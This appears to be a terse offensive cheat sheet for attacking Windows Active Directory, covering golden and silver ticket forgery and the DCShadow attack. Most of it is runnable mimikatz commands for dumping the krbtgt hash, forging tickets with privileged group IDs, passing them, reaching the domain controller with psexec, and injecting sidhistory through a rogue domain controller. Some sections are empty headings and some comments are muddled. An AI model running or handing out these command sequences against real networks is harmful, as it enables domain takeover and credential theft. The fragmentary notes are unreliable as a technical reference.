 Kerberoast

– For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus

Golden and Silver Tickets

Keys depend of ticket : –> for a Golden, they are from the krbtgt account; –> for a Silver, it comes from the “computer account” or “service account”.

# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch
# creating the ticket
# /rc4 or /krbtgt - the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id
kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
# After this , final ticket must be ready
# Purge the currently cached kerberos ticket
kerberos::purge
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# You can now verify that your ticket is in your cache
powershell.exe -c "klist"
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe
# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

AD Attacks DC Shadow

DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid
#This will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid
# Run this from another mimikatz
lsadump::dcshadow /push
# After this unregistration must be done
# Relogin
lsadump::dcsync /domain:ECORP.local /account:krbtgt
# Now you must have krbtgt hash
